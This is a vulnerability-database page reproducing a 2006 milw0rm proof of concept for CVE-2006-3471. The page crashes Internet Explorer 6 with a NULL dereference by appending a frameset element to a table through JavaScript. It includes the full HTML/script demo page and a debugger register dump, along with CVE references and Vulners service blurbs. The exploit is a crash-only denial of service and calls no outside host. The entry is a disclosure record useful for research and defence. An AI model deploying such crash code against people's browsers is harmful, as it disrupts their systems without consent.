Microsoft Internet Explorer 6 - Table.Frameset NULL Dereference
| Reporter | Title | Published | Views | Family All 3 |
|---|---|---|---|---|
 | CVE-2006-3471 | 10 Jul 200619:00 | – | cve |
 | CVE-2006-3471 | 10 Jul 200619:00 | – | cvelist |
 | CVE-2006-3471 | 10 Jul 200619:05 | – | nvd |
<!--
http://browserfun.blogspot.com/
The following bug was tested on the latest version of Internet Explorer 6
on a fully-patched Windows XP SP2 system. This bug was found by Aviv Raff
using the DOM-Hanoi fuzzer script. DOM-Hanoi works by building trees of
every combination of elements up to the specifed depth. An alternate PoC
could use plain HTML instead of javascript.
var a = document.createElement('table');
var b = document.createElement('frameset');
a.appendChild(b);
eax=00000000 ebx=01884710 ecx=01886c60
edx=00000027 esi=0013aeb0 edi=01884730
eip=7dc995ad esp=0013ae88 ebp=0013ae9c6
mshtml!CTreePos::NextTreePos+0x23:
7dc995ad f60010 test byte ptr [eax],0x10 ds:0023:00000000=??
-->
<html><body><script>
// MoBB Demonstration
function Demo() {
var a = document.createElement('table');
var b = document.createElement('frameset');
a.appendChild(b);
}
</script>
Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
</body></html>
# milw0rm.com [2006-07-07]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Aug 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.20781